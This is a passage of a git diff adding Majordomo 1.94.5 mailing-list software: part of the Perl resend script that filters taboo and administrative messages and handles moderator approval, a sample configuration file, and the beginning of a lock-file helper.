$is_taboo_body .= "\$taboo = \"\";\n}; \$taboo;\n"; + } +} + +if (defined($global_taboo_headers)) { + @global_taboo_headers = split(/\n/,$global_taboo_headers); + if ($#global_taboo_headers >= $[) { + $is_global_taboo_header = "foo: {\n"; + foreach $t (@global_taboo_headers) { + ($ts = $t) =~ s/(['\\])/\\$1/g; + $is_global_taboo_header .= "$t && (\$taboo = '$ts', last foo);\n"; + } + $is_global_taboo_header .= "\$taboo = \"\";\n}; \$taboo;\n"; + } +} + +if (defined($global_taboo_body)) { + @global_taboo_body = split(/\n/,$global_taboo_body); + if ($#global_taboo_body >= $[) { + $is_global_taboo_body = "foo: {\n"; + foreach $t (@global_taboo_body) { + ($ts = $t) =~ s/(['\\])/\\$1/g; + $is_global_taboo_body .= "$t && (\$taboo = '$ts', last foo);\n"; + } + $is_global_taboo_body .= "\$taboo = \"\";\n}; \$taboo;\n"; + } +} +#"; dammit. + +# admin subject checks. Since $admin_headers is defined in $cf +# (majordomo.cf), an upgrade may not have $admin_headers. +# Bitch about it if so. +# +if (! defined($admin_headers)) { + &bitch("resend: \$admin_headers not defined in $cf !!\n" . + "Majordomo will only catch \"subscribe\" and \"unsubscribe\" in\n" . + "the subject field...\n"); + @admin_headers = ('/^subject:\s*subscribe\b/i' , + '/^subject:\s*unsubscribe\b/i'); +} else { + @admin_headers = split(/\n/, $admin_headers); +} + +$is_admin_header = "foo: {\n"; +foreach $t (@admin_headers) { + $is_admin_header .= "$t && (\$taboo = '$t', last foo);\n"; +} +$is_admin_header .= "\$taboo = \"\";\n}; \$taboo;\n"; + +# Body Check! +# Common things that people send to the wrong address. +# These are caught in the first 10 lines of the message body +# if 'administravia' is turned on and the message isn't marked approved. +# +# The code that catches this should transparently redirect +# majordomo commands to majordomo. That would give the additional +# advantage of not having to add to this silly construct for +# each new majordomo command. +# +# $admin_body should be defined in the $cf file, but an upgrade +# may miss this fact. Bitch about it, and use a minimal list if so. +# +if (! defined($admin_body)) { + &bitch("resend: \$admin_body not defined in $cf !!\n" . + "Majordomo will only catch \"subscribe\" and \"unsubscribe\" in\n" . + "the body.\nLook at $homedir/sample.cf for a good definition."); + @admin_body = ('/^subject:\s*subscribe\b/i' , + '/^subject:\s*unsubscribe\b/i'); +} else { + @admin_body = split(/\n/, $admin_body); +} + +$is_admin_body = "foo: {\n"; +foreach $t (@admin_body) { + $is_admin_body .= "$t && (\$taboo = '$t', last foo);\n"; +} +$is_admin_body .= "\$taboo = \"\";\n}; \$taboo;\n"; + + +print STDERR "$0: caching the message.\n" if $DEBUG; + +# +# cache the message, so the parent sendmail process can exit. +# +&open_temp(OUT, "$TMPDIR/resend.$$.out") || + &abort("resend: Can't open $TMPDIR/resend.$$.out: $!"); + +&open_temp(IN, "$TMPDIR/resend.$$.in") || + &abort("resend: Can't open $TMPDIR/resend.$$.in: $!"); + +while () { + print IN $_; +} + +close(IN); + +open(IN, "$TMPDIR/resend.$$.in") || + die("resend: Can't open $TMPDIR/resend.$$.tmp: $!"); + +# +# Message parsing starts here +# + +print STDERR "$0: parsing header.\n" if $DEBUG; + +# parse the header for bad lines, etc. We'll bounce in a moment. +# +$result = &parse_header; + +# The first line of the body could hold an approved line. Let's check. +# +$_ = ; + +if (/^approved:\s*(.*)/i # aha! + && defined($opt_a)) { + # OK, is it a valid "Approved:" line? + $approved = &chop_nl($1); + if ($approved ne $opt_a + && !(&main'valid_passwd($listdir, $opt_l, $approved))) { #Augh!')){ + $result .= " Invalid 'Approved:' header"; + undef $approved; + } + # The Approved: line is valid + # Look at the next line: + $_ = ; + if (/\S/) { + # We have something other than a blank line. We _assume_ it's + # header. Consequences: if it's not a header, things get screwed + # badly. If we reverse the logic and look instead for something + # header-like, we permit the possibility of the moderator leaving + # out the blank line, which is not a good idea because they might + # get used to it, which will bite them when they approve a message + # starting something that looks like a header. + # XXX Options: complain if we find no blank line and no header-like + # stuff. + close OUT; # Nuke the output so far. + unlink "$TMPDIR/resend.$$.out"; # XXX These filenames should be in + # variables. + # Open a new temp file. + &open_temp(OUT, "$TMPDIR/resend.$$.out") || + &abort("resend: Can't open $TMPDIR/resend.$$.out: $!"); + + # We'll be nice and skip a From_ mailbox separator, which just + # might have been quoted by some intervening mail munger. + if (!/^>?From /) { + # Rewind back over the header line we just pulled + seek(IN, - length($_), 1); + } + + # Parse the following as a completely new message. + $result .= &parse_header; # The return value won't matter; we're + # approved. + + } + # else the line was blank; we let it be eaten and continue + +} else { + # No approved line, dniwer + seek(IN, - length($_), 1); +} + +print STDERR "$0: checking for valid sender.\n" if $DEBUG; + +# Check for a valid sender, if the list has restrict_post set +# and the message isn't approved. +# +# aauuuugggh! 'moderator' != 'restrict_post' !! They should be the +# same!! +# +$result .= &check_sender if ( defined( $opt_I ) && ! defined ($approved)); + +# If approval is required, and we haven't got it, boing it goes.. +# +$result = "Approval required: $result" if + (defined($opt_A) && ! defined($approved)); + +print STDERR "$0: sender check: '$result'\n" if $DEBUG; + +# Print the RFC822 separator +print OUT "\n"; + +# Print out any message_fronters +# +if ( $config_opts{$opt_l,"message_fronter"} ne '' ) { + local($fronter) = &config'substitute_values ( + $config_opts{$opt_l,"message_fronter"}, $opt_l);#'; + $fronter =~ s/\001|$/\n/g; + print OUT $fronter; +} + +# We are guaranteed to be just after a blank line now. Slurp the body +$result .= &parse_body; + +# Yes Tigger, *now* you can bounce. We've checked for +# any Approved headers & lines, taboo_headers, and taboo_bodies +&bounce($result) if ( $result =~ /\S/ && ! defined($approved)); + +# Print out any message_footers +# +print STDERR "$0: adding any footers.\n" if $DEBUG; + +if ( $config_opts{$opt_l,"message_footer"} ne '' ) { + local($footer) = + &config'substitute_values( + $config_opts{$opt_l,"message_footer"}, $opt_l); #' + $footer =~ s/\001|$/\n/g; + print OUT $footer; +} + +# Finished munging the message and decided it's valid, now send it out. +# +close OUT; + +# The following eval expands embedded variables like $sender +$sendmail_cmd = eval qq/"$mailer"/; +$sendmail_cmd .= " " . join(" ", @ARGV); + +# check for the dreaded -t option to sendmail, which will cause +# mail to loop 26 times... +# +if ($sendmail_cmd =~ /sendmail/ && $sendmail_cmd =~ /\s-t/) { + $sendmail_cmd =~ s/-t//; + &bitch("resend: \$sendmail_cmd (aka \$mailer in majordomo.cf\n" . + "had a -t option. This will cause mail to loop 26 times.\n" . + "Since this probably isn't what you want to have happen,\n". + "resend has not passed that option to sendmail.\n"); +} + +print STDERR "$0: \$sendmail_cmd is $sendmail_cmd\n" if $DEBUG; + +# To debug or not debug, that is the question. +# +if (defined($opt_d)) { + $| = 1; + $, = ' '; + print STDERR "Command: $sendmail_cmd\n"; + open (IN, "$TMPDIR/resend.$$.out"); + while () { + print STDERR $_; + } + unlink(&fileglob("$TMPDIR", "^resend\.$$\.")); + exit(0); +} + +# open the mailer +# +local(*MAILOUT, *MAILIN); +if (defined($isParent = open(MAILOUT, "|-"))) { + &do_exec_sendmail(split(' ', $sendmail_cmd)) + unless $isParent; # only if we're in the child +} else { + &abort("Failed to fork prior to mailer exec"); +} + +# open our tmp file +# +open(MAILIN, "$TMPDIR/resend.$$.out"); + +# spit it out! +# +while () { + print MAILOUT $_; +} + +# cleanup +# +close(MAILIN); +unlink(&fileglob("$TMPDIR", "^resend\.$$\.")) || &abort("Error unlinking temp files: $!"); +close(MAILOUT) || do { + $? >>= 8; + &abort("Mailer $sendmail_cmd exited unexpectedly with error $?") + unless ($sendmail_cmd =~ /sendmail/ && $? == $EX_NOUSER); +}; + +# Seeya. +# +exit(0); + + +###################################################################### +# +# Subroutines. +# +###################################################################### + +# check for a valid sender for moderated lists. +# +sub check_sender { + # Uh, who? + return " This may be hard to believe, but there was no \"From:\" field" . + "in this message I just received. I'm not gonna send it out, " . + "but you can... " if ! defined($from); + + local($file) = 0; + + # !@$#% cryptic variables. opt_I is restrict_post, which is a colon + # or whitespace seperated list of files that can contain valid + # senders. + # [[[ Scary, I just realized that !@$#% is almost valid perl... ]]] + local(@files) = split (/[:\s]+/, $opt_I); + + foreach $file (@files) { + # Return a null message if the sender (from the From: or + # Reply-To: headers) is found + # + return "" if &is_list_member($from, $listdir, $opt_l, $file) || + (defined $reply_to && + $reply_to ne $from && + &is_list_member($reply_to, $listdir, $opt_l, $file)); + } + + # We only get here if nothing matches. + # + " Non-member submission from [$from] "; +} + +# +# parse_header. +# Slurp in the header, checking for bad things. Returns a non-zero length string if +# a taboo or administrative header is found. +# +# [[[ Why couldn't one simply slurp the header in, assign it to an +# assoc. array, and print out everything but the bad stuff? ]]] +# + +sub parse_header { + local($gonna_bounce); + local($kept_last) = 0; # our return flag/string. + + print STDERR "$0: parse_header: enter.\n" if $DEBUG; + print STDERR "$0: parse_header: taboo_headers = $is_taboo_header\n" if $DEBUG; + print STDERR "$0: parse_header: global_taboo_headers = $is_global_taboo_header\n" if $DEBUG; + print STDERR "$0: parse_header: admin_headers = $is_admin_header\n" if $DEBUG; + + + while () { + print STDERR "$0: parse_header: [$.: $_]" if $DEBUG; + + last if /^$/; # stop when we hit the end. RFC822. + next unless /\S/; # skip leading blank lines; usually only + # there if this is a restart after an + # in-body "Approved:" line + + print STDERR "$0: parse_header: [$.] taboo_header check\n" + if $DEBUG; + # check for taboo_headers or approved header + # + if ($#taboo_headers >= $[ && !$approved && + eval $is_taboo_header) { + $gonna_bounce .= "taboo header: $taboo "; + print STDERR "$0: parse_header: [$.: boing: $gonna_bounce\n" if $DEBUG; + } + if ($DEBUG && $@) { + # Something went boink in eval, say something useful. + print STDERR "$0: parse_header: taboo_header error $@\n"; + } + + if ($#global_taboo_headers >= $[ && !$approved && + eval $is_global_taboo_header) { + $gonna_bounce .= "global taboo header: $taboo "; + print STDERR "$0: parse_header: [$.: boing: $gonna_bounce\n" if $DEBUG; + } + + if ($DEBUG && $@) { + # Something went boink in eval, say something useful. + print STDERR "$0: parse_header: global_taboo_header error $@\n"; + } + + + # check for administative headers: + # Usually subscribe, unsubscribe, etc, in Subject field + # + print STDERR "$0: parse_header: [$.] administrative_header check\n" + if $DEBUG; + + if ($#admin_headers >= $[ && !$approved && defined($opt_s) && + eval $is_admin_header) { + $gonna_bounce .= "Admin request: $taboo "; + print STDERR "$0: parse_header: [$.: boing: $gonna_bounce\n" if $DEBUG; + } + + print STDERR "$0: parse_header: Approved check\n" if $DEBUG; + + # Check for Approved line + # + # Oddly enough, we may already be approved when we get here. In + # that case, we should nuke any extra Approved: headers we see. + # Why? Well, consider this: you change the password, but send an + # approved message out before the config change takes effect. So + # it bounces back to you with the Approved: line in it. This line + # is now valid. You approve the bounce using the cut-and-paste + # method, putting another Approved: line in front of the headers of + # the raw bounced message and send it off. There are now two + # Approved: headers. If we don't remove the Approved: header from + # the headers of the message you pasted, we've revealed your list + # password. + + if (/^approved:\s*(.*)/i && defined($opt_a)) { + if (!$approved) { + print STDERR "$0: parse_header: found an approved header\n" if $DEBUG; + $approved = &chop_nl($1); + if ($approved ne $opt_a # check the p/w given against approve_passwd + && !(&main'valid_passwd($listdir, $opt_l, $approved))) { # and also against admin_passwd ') + if (defined($opt_A)) { # bounce only if list is moderated + $gonna_bounce .= "Invalid 'Approved:' header "; + print STDERR "$0: parse_header: [$.: boing: $gonna_bounce\n" if $DEBUG; + } + undef $approved; + } else { + # reset the bounce counter, so that we return cleanly. + # this allows a message with a taboo_header or admin_header + # but with a valid Approved line to be posted. + $gonna_bounce = ''; + next; # gotta remove that approved line, dontcha know + } + } + else { + # We have already been approved, so skip this header + next; + } + } + + print STDERR "$0: parse_header: skipping headers\n" if $DEBUG; + # skip all these headers + if (eval $skip_headers) { + $kept_last = 0; + print STDERR "$0: skipped\n" if $DEBUG; + next; + } + + # skip these special headers + if ((/^precedence:/i && defined($opt_p)) # skip only if "-p" set + || (/^received:/i && defined($opt_R)) # skip only if "-R" set + || (/^reply-to:/i && defined($opt_r)) # skip only if "-r" set + || (/^\s/ && ! $kept_last)) # skip if skipped last + { + $kept_last = 0; + print STDERR "$0: skipped\n" if $DEBUG; + next; + } + + # reset $kept_last in case next line is continuation + # this should go someplace now... but where? + print STDERR "$0: kept\n" if $DEBUG; + $kept_last = 1; + + + # prepend subject prefix + # + if ( (/^subject:\s*/i) + && ($config_opts{$opt_l,"subject_prefix"} ne '')) { + + print STDERR "$0: parse_header: adding subject prefix\n" if $DEBUG; + local($foo) = &config'substitute_values($config_opts{$opt_l,"subject_prefix"}, $opt_l);#'; + local($foo_pat) = $foo; + $foo_pat =~ s/(\W)/\\$1/g; + s/^subject:[^\S\n]*/Subject: $foo /i if !/$foo_pat/; + } + + # snag reply-to field + # + $reply_to = $1 if /^reply-to:\s*(.+)/i; + + # snag from line + # + if ( /^from:\s*(.+)/i ) { + $from = $1; + $from_last = 1; # the from line can span lines + } + elsif ( defined($from_last) ) { + if ( /^\s+(.+)/ ) { + $from .= " $1"; + } else { + undef($from_last); + } + } + +# Virtual Majordomo Hack +# s/^to:(.*)\b$opt_l\b(.*)$/To:$1 $opt_l\@$whereami $2/i ; + + &check_hdr_line($_); # check for length & balance on from, cc, and to fields. + print OUT $_; + } + + # finished with the header. + # Now, we aren't going to bounce yet, even if it looks bad, + # because we allow an Approved line as the _first_ line in the *body*. + # + # return $gonna_bounce if length($gonna_bounce); + + + print STDERR "$0: parse_header: adding header fields\n" + if $DEBUG; + + # add new header fields + print OUT "Sender: $sender\n"; + if (defined($opt_p)) { + print OUT "Precedence: $opt_p\n"; + } + + if (defined($opt_r)) { + print OUT "Reply-To: ", &config'substitute_values($opt_r), "\n"; #'; + } + + # print out per-list additonal headers + if ( $config_opts{$opt_l,"message_headers"} ne '' ) { + local($headers) = &config'substitute_values ( + $config_opts{$opt_l,"message_headers"}, $opt_l);#'; + $headers =~ s/\001|$/\n/g; + print OUT $headers; + } + print STDERR "$0: parse_header: returning with '$gonna_bounce'\n" if $DEBUG; + + " $gonna_bounce "; +} + +# Meander through the message body, checking for +# administravia, taboo stuff, and excessive length. +# +sub parse_body { + local($body_line_count, $body_len) = 0; + local($gonna_bounce); + + print STDERR "$0: parse_body: enter\n" if $DEBUG; + + while () { + $body_line_count++; + $body_len += length($_); + + # check for administravia in the first 10 lines of the body + # if so told and not approved. + if ($body_line_count < 10 + && defined($opt_s) + && !defined($approved) + && eval $is_admin_body) { + $gonna_bounce .= + " Admin request of type $taboo at line $body_line_count "; + next; + } + + # if not approved, check for taboo body stuff + # and message length + # + if ( !defined($approved)) { + + if ( $#taboo_body >= $[ + && eval $is_taboo_body) { + $gonna_bounce .= + " taboo body match \"$taboo\" at line $body_line_count "; + next; + } + + if ($#global_taboo_body >= $[ + && eval $is_global_taboo_body) { + $gonna_bounce .= + " global taboo body match \"$taboo\" " . + "at line $body_line_count "; + next; + } + + # make sure it doesn't make the message too long + if (defined($opt_M) + && $body_len > $opt_M + && !$already_bitched_about_length) { + $already_bitched_about_length++; + print STDERR "$0: parse_body: message too long\n" if $DEBUG; + $gonna_bounce .= " Message too long (>$opt_M chars) "; + next; + } + } + print OUT $_; + } # while + print STDERR "$0: parse_body: exiting with '$gonna_bounce'\n" + if $DEBUG; + + " $gonna_bounce "; +} + + + +sub check_balance { + print STDERR "$0: check_balance: enter: $_\n" if $DEBUG; + # set a temporary variable + local($t) = shift; + # Remove quoted material + # ( looks like lisp, don't it? ) + 1 while $t =~ s/(^|([^\\\"]|\\.)+)\"([^\\\"\n]|\\.)*\"?/$1/g; #" + # strip out all nested parentheses + 1 while $t =~ s/\([^\(\)]*\)//g; + # strip out all nested angle brackets + 1 while $t =~ s/\<[^\<\>]*\>//g; + # if any parentheses or angle brackets remain, were imbalanced + if ($t =~ /[\(\)\<\>]/ && ! defined($approved)) { + &bounce("Imbalanced parentheses or angle brackets"); + return(undef); + } + return(1); +} + +sub check_hdr_line { + + local($_) = shift; + print STDERR "$0: check_hdr_line: enter: $_\n" if $DEBUG; + + if (! /^\s/) { # is this a continuation line? + # Not a continuation line. + # If $balanced_fld is defined, it means the last field was one + # that needed to have balanced "()" and "<>" (i.e., "To:", "From:", + # and "Cc:", so check it. We do it here in case the last field was + # multi-line. + + if (defined($balanced_fld)) { + &check_balance($balanced_fld); + } + + # we undefine $balanced_fld and reset $field_len; these may be set below + + undef($balanced_fld); + $field_len = 0; + } + + # is this a field that must be checked for balanced "()" and "<>"? + if (defined($balanced_fld) || /^from:/i || /^cc:/i || /^to:/i) { + # yes it is, but we can't check it yet because there might be + # continuation lines. Buffer it to be checked at the beginning + # of the next non-continuation line. + + # is this line too long? + if ((length($_) > $MAX_HEADER_LINE_LENGTH) && ! defined($approved)) { + &bounce("Header line too long (>$MAX_HEADER_LINE_LENGTH)"); + return(undef); + } + + # is this field too long? + if ((($field_len += length($_)) > $MAX_TOTAL_HEADER_LENGTH) && ! defined($approved)) { + &bounce("Header field too long (>$MAX_TOTAL_HEADER_LENGTH)"); + return(undef); + } + + $balanced_fld .= $_; + chop($balanced_fld); + } + + # if we get here, everything was OK. + return(1); +} + +sub bounce { + local(*BOUNCE); + local($reason) = shift; + local($_); + + print STDERR "$0: bounce enter\n" if $DEBUG; + + &send_bounce(BOUNCE, + (( $config_opts{$opt_l, 'moderator'} ne "") ? + $config_opts{$opt_l, 'moderator'} : "$opt_l-approval\@$whereami"), + "BOUNCE $opt_l\@$opt_h: $reason"); + + seek(IN, 0, 0); + while () { + print BOUNCE $_; + } + close(BOUNCE); + unlink(&fileglob("$TMPDIR", "^resend\.$$\.")); + + print STDERR "$0: bounce exiting\n" if $DEBUG; + + exit(0); +} + +sub send_bounce { + local(*MAIL) = shift; + local($to) = shift; + local($subject) = shift; + local($isParent); + local($mailcmd); + + if (defined $bounce_mailer) { + # The eval expands embedded variables like $sender + $mailcmd = eval qq/"$bounce_mailer"/; + } + else { + # Painful, but we have to provide some kind of backwards + # compatibility and this is what 1.93 used + $mailcmd = "/usr/lib/sendmail -f$sender -t"; + } + + # clean up the addresses, for use on the sendmail command line + local(@to) = &ParseAddrs($to); + $to = join(", ", @to); + + # open the process + if (defined($opt_d)) { + # debugging, so just say it, don't do it + open(MAIL, ">-"); + print MAIL ">>> $mailcmd\n"; + } else { + if (defined($isParent = open(MAIL, "|-"))) { + &do_exec_sendmail(split(' ', $mailcmd)) + unless $isParent; + } else { + &abort("Failed to fork prior to mailer exec"); + } + } + + # generate the header + print MAIL <<"EOM"; +To: $to +From: $sender +Subject: $subject + +EOM + + return; +} diff --git a/update/scripts/packages/majordomo-1.94.5/sample.cf b/update/scripts/packages/majordomo-1.94.5/sample.cf new file mode 100644 index 0000000..1c6368e --- /dev/null +++ b/update/scripts/packages/majordomo-1.94.5/sample.cf @@ -0,0 +1,316 @@ +# +# A sample configuration file for majordomo. You must read through this and +# edit it accordingly! +# + + +# $whereami -- What machine am I running on? +# +$whereami = "example.com"; + +# $whoami -- Who do users send requests to me as? +# +$whoami = "Majordomo\@$whereami"; + +# $whoami_owner -- Who is the owner of the above, in case of problems? +# +$whoami_owner = "Majordomo-Owner\@$whereami"; + +# $homedir -- Where can I find my extra .pl files, like majordomo.pl? +# the environment variable HOME is set by the wrapper +# +if ( defined $ENV{"HOME"}) { + $homedir = $ENV{"HOME"}; +} else { + $homedir = "/etc/virtual/majordomo"; +} + +# $listdir -- Where are the mailing lists? +# +$listdir = "$homedir/lists"; + +# $digest_work_dir -- the parent directory for digest's queue area +# Each list must have a subdirectory under this directory in order for +# digest to work. E.G. The bblisa list would use: +# /usr/local/mail/digest/bblisa +# as its directory. +# +$digest_work_dir = "/usr/local/mail/digest"; + +# $log -- Where do I write my log? +# +$log = "$homedir/Log"; + +# $sendmail_command -- Pathname to the sendmail program +# usually /usr/lib/sendmail, but some newer BSD systems +# seem to prefer /usr/sbin/sendmail +# +$sendmail_command = "/usr/lib/sendmail"; +# $sendmail_command = "/usr/sbin/sendmail"; + +# $mailer -- What program and args do I use to send mail to the list? +# $bounce_mailer -- What is used to send mail anywhere else? +# The variables $to, $from, $subject, and $sender can be interpolated into +# this command line. Note, however, that the $to, $from, and $subject +# variables may be provided by the person sending mail, and much mischief +# can be had by playing with this variable. It is perfectly safe to use +# $sender, but the others are insecure. +# +# Sendmail option -oi: Do not take a . on a line by itself as the message +# terminator. +# Sendmail option -oee: Force sendmail to exit with a zero exit status if +# if it's not going to give useful information. +# +$mailer = "$sendmail_command -oi -oee -f\$sender"; +$bounce_mailer = "$sendmail_command -oi -oee -f\$sender -t"; + +# You can special case the mailer used to deliver outbound mail as follows: +# +# To use TLB and use no outgoing alias: +# if ($main'program_name eq 'mj_resend' && $opt_l eq 'test-list') { +# $mailer = "/usr/local/majordomo/tlb /usr/local/lists/${opt_l}.tlb"; +# } +# +# To use a different Sendmail queue for this list's mail: +# if ($main'program_name eq 'mj_resend' && $opt_l eq 'test-list') { +# $mailer = "$sendmail_command -oQ /var/spool/listq -f\$sender"; +# } + +# You can force Majordomo to delay any processing if the system load is too +# high by uncommenting the following lines. THIS ONLY WORKS if your "uptime" +# command (usually found in /usr/bin/uptime or /usr/bsd/uptime) +# returns a string like: +# 5:23pm up 5:51, 9 users, load average: 0.19, 0.25, 0.33 +# +#$max_loadavg = 10; # Choose the maximum allowed load +# +#$uptime = `/usr/bin/uptime` if -x '/usr/bin/uptime'; # Get system uptime +#$uptime = `/usr/bsd/uptime` if -x '/usr/bsd/uptime'; # or uptime is over here. +# +#($avg_1_minute, $avg_5_minutes, $avg_15_minutes) = +# $uptime =~ /average:\s+(\S+),\s+(\S+),\s+(\S+)/; +# +#exit 75 if ($avg_15_minutes >= $max_loadavg); # E_TEMPFAIL +# + +# Set the default subscribe policy for new lists here. +# If not defined, defaults to "open", but in today's increasingly +# imbecile Internet, "open+confirm" or "auto+confirm" is a wiser +# choice for publicly available Majordomo servers. +# +$config'default_subscribe_policy = "open+confirm"; + +# +# Configure X400 parsing here. This is functional, but not well tested +# and rather a hack. +# By default all addresses that look x400-ish will be checked for a +# @ sign (meaning that it's headed to an smtp->x400 gateway, as well +# as the 'c=' and 'a[dm]=' parts, which mean something as well. +# +# If you will be receiving x400 style return addresses that do not have +# an @ sign in them indicating an smtp->x400 gateway, set $no_x400at to 1. +# Otherwise, leave $no_x400 at 0. +# +$no_x400at = 0; +# +# If you will be receiving x400 addresses without the c= or a[dm]= parts +# set the $no_true_x400 variable to 1. This will disable checking for +# "c=" and "a[dm]=" pieces. +# +$no_true_x400 = 0; + + +#-------------------------------------------------------------------- +# Stuff below here isn't commonly changed.... +#-------------------------------------------------------------------- +# +# Majordomo will look for "get" and "index" files related to $list in +# directory "$filedir/$list$filedir_suffix", so set $filedir and +# $filedir_suffix appropriately. For instance, to look in +# /usr/local/mail/files/$list, use: +# $filedir = "/usr/local/mail/files"; +# $filedir_suffix = ""; # empty string +# or to look in $listdir/$list.archive, use: +# $filedir = "$listdir"; +# $filedir_suffix = ".archive"; + +$filedir = "$listdir"; +$filedir_suffix = ".archive"; + +# What command should I use to process an "index" request? +# +$index_command = "/bin/ls -lRL"; + +# If you want to use FTPMAIL, rather than local access, for file transfer +# and access, define the following: +# $ftpmail_address = "ftpmail\@decwrl.dec.com"; +# $ftpmail_location = "FTP.$whereami"; + +# if you want the subject of the request to be included as part of the +# subject of the reply (useful when automatically testing, or submitting +# multiple command sets), set $return_subject to 1. +# +$return_subject = 1; + +# If you are using majordomo at the -request address, set the +# following variable to 1. This affects the welcome message that is +# sent to a new subscriber as well as the help text that is generated. +# +$majordomo_request = 0; + +# If you have lists that have who turned off, but still allow which +# requests to work for subscribed members, and you don't want to have +# "which @" to act like a who, the variable $max_which_hits sets the +# number of hits that are allowed using which before an error is returned. +# Arguably this should be a per list settable number. +# +$max_which_hits = 0; + +# Set the umask for the process. Used to set default file status for +# config file. +# +umask(007); +$config_umask = 007; + +# don't change this. It checks to make sure that you have a new enough +# version of perl to run majordomo. It is in here because this file is +# used by almost all of the majordomo programs. +# +die "Perl version $] too old\n" if ($] < 4.019); + +# the safe locations for archive directories +# None of the parameters that use safedirs are actually used, so +# @safedirs is a placeholder for future functionality. +# Just ignore it for version 1.90 through 1.94. +# +@safedirs = ( ); + +# Directory where resend temporarily puts its rewritten output message. +# For the paranoid, this could be changed to a directory that only +# majordomo has r/w permission to. +# Uses the environment variable TMPDIR, since that's pretty common +# +$TMPDIR = $ENV{'TMPDIR'} || "/usr/tmp"; + +# Tune how long set_lock tries to obtain a lock before giving up. Each +# attempt waits 1 to 10 seconds before trying again and waittime is +# the total minimum time spent trying. This defaults to 600 seconds (5 +# minutes), which translates to no less then 60 nor more than 600 tries. +# +# $shlock'waittime = 1200; + +# tune the cookie for subscribe_policy=confirm. Normally this is +# set to $homedir. *Don't* make this something like rand(400), +# the key isn't saved between sessions. +# +# $cookie_seed = "Harry Truman, Doris Day, Red China, Johnnie Ray" . +# " South Pacific, Walter Winchell, Joe DiMaggio"; + +# The maximum character length of the header lines for resend +# +$MAX_HEADER_LINE_LENGTH = 128; + +# The maximum character length of the _entire_ header for resend +# +$MAX_TOTAL_HEADER_LENGTH = 1024; + +# List of perl regular expressions that, if found in the headers of a message, +# will cause the message to be bounced to the list approver. +# Put each regular expression on a separate line before the "END" mark, with +# no trailing ";" +# For example: +# $global_taboo_headers = <<'END'; +# /^from:.*trouble\@hassle\.net/i +# /^subject:.*non-delivery notice/i +# END +# NOTE! Using ' instead of " in the 'END' is VERY IMPORTANT!!! +# + +# Administrative checks. These used to be buried in the resend code +# +$admin_headers = <<'END'; +/^subject:\s*subscribe\b/i +/^subject:\s*unsubscribe\b/i +/^subject:\s*uns\w*b/i +/^subject:\s*.*un-sub/i +/^subject:\s*help\b/i +/^subject:\s.*\bchange\b.*\baddress\b/i +/^subject:\s*request\b(.*\b)?addition\b/i +/^subject:\s*cancel\b/i +END + +# Common things that people send to the wrong address. +# These are caught in the first 10 lines of the message body +# if 'administrivia' is turned on and the message isn't marked approved. +# +# The code that catches this should transparently redirect +# majordomo commands to majordomo. That would give the additional +# advantage of not having to add to this silly construct for +# each new majordomo command. +# +$admin_body = <<'END'; +/\bcancel\b/i +/\badd me\b/i +/\bdelete me\b/i +/\bremove\s+me\b/i +/\bchange\b.*\baddress\b/ +/\bsubscribe\b/i +/^sub\b/i +/\bunsubscribe\b/i +/^unsub\b/i +/\buns\w*b/i +/^\s*help\s*$/i +/^\s*info\s*$/i +/^\s*info\s+\S+\s*$/i +/^\s*lists\s*$/i +/^\s*which\s*$/i +/^\s*which\s+\S+\s*$/i +/^\s*index\s*$/i +/^\s*index\s+\S+\s*$/i +/^\s*who\s*$/i +/^\s*who\s+\S+\s*$/i +/^\s*get\s+\S+\s*$/i +/^\s*get\s+\S+\s+\S+\s*$/i +/^\s*approve\b/i +/^\s*passwd\b/i +/^\s*newinfo\b/i +/^\s*config\b/i +/^\s*newconfig\b/i +/^\s*writeconfig\b/i +/^\s*mkdigest\b/i +END + +# taboo headers to catch +# +$global_taboo_headers = <<'END'; +/^subject: ndn: /i +/^subject:\s*RCPT:/i +/^subject:\s*Delivery Confirmation\b/i +/^subject:\s*NON-DELIVERY of:/i +/^subject:\s*Undeliverable Message\b/i +/^subject:\s*Receipt Confirmation\b/i +/^subject:\s*Failed mail\b/i +/^subject:\s*Returned mail\b/i +/^subject:\s*unable to deliver mail\b/i +/^subject:\s.*\baway from my mail\b/i +/^subject:\s*Autoreply/i +END + +# Taboo body contents to catch and forward to the approval address +# +# For example: +# $global_taboo_body = <<'END'; +# /taboo topic/i +# /another taboo/i +# END +# NOTE! Using ' instead of " in the next line is VERY IMPORTANT!!! +# +$global_taboo_body = <<'END'; +END + +# Majordomo will not send replies to addresses which match this. +# The match is done case-insensitively. +$majordomo_dont_reply = '(mailer-daemon|uucp|listserv|majordomo|listproc)\@'; + +1; +# $Header: /sources/cvsrepos/majordomo/sample.cf,v 1.34 1997/08/27 15:00:31 cwilson Exp $ diff --git a/update/scripts/packages/majordomo-1.94.5/shlock.pl b/update/scripts/packages/majordomo-1.94.5/shlock.pl new file mode 100644 index 0000000..1b7ea82 --- /dev/null +++ b/update/scripts/packages/majordomo-1.94.5/shlock.pl @@ -0,0 +1,312 @@ +# PERL implementation of Erik E. Fair's 'shlock' (from the NNTP distribution) +# Ported by Brent Chapman + +# Taken from shlock.pl and majordomo.pl in Majordomo distribution +# Merged into package by Bill Houle + +package shlock; +require 'majordomo.pl'; # For bitch() and abort() + +# These can be predefined elsewhere, e.g. majordomo.cf +$waittime = 600 unless $waittime; +$shlock_debug = 0 unless $shlock_debug; +$warncount = 20 unless $warncount; + +sub alert { + &main'bitch(@_); + &main'abort("shlock: too many warnings") unless --$warncount; +} + +$EPERM = 1; +$ESRCH = 3; +$EEXIST = 17; + +# Lock a process via lockfile. +# +sub main'shlock { + local($file) = shift; + local($tmp); + local($retcode) = 0; + + print STDERR "trying lock '$file' for pid $$\n" if $shlock_debug; + return(undef) unless ($tmp = &extant_file($file)); + + { # redo-controlled loop + unless (link($tmp, $file)) { + if ($! == $EEXIST) { + print STDERR "lock '$file' already exists\n" if $shlock_debug; + if (&check_lock($file)) { + print STDERR "extant lock is valid\n" if $shlock_debug; + } else { + print STDERR "lock is invalid; removing\n" if $shlock_debug; + unlink($file); # no message because it might be gone by now + redo; + } + } else { + &alert("shlock: link('$tmp', '$file'): $!"); + } + } else { + print STDERR "got lock '$file'\n" if $shlock_debug; + $retcode = 1; + } + } + + unlink($tmp) || &alert("shlock: unlink('$file'): $!"); + return($retcode); +} + +# Create a lock file (with retry). +# +sub main'set_lock { + local($lockfile) = @_; + local($slept) = 0; + + while ($slept < $waittime) { + return 1 if &main'shlock("$lockfile"); + + # didn't get the lock; wait 1-10 seconds and try again. + $slept += sleep(int(rand(9) + 1)); + } + # if we got this far, we ran out of tries on the lock. + return undef; +} + +sub main'free_lock { + unlink $_[0]; +} + +# open a file locked for 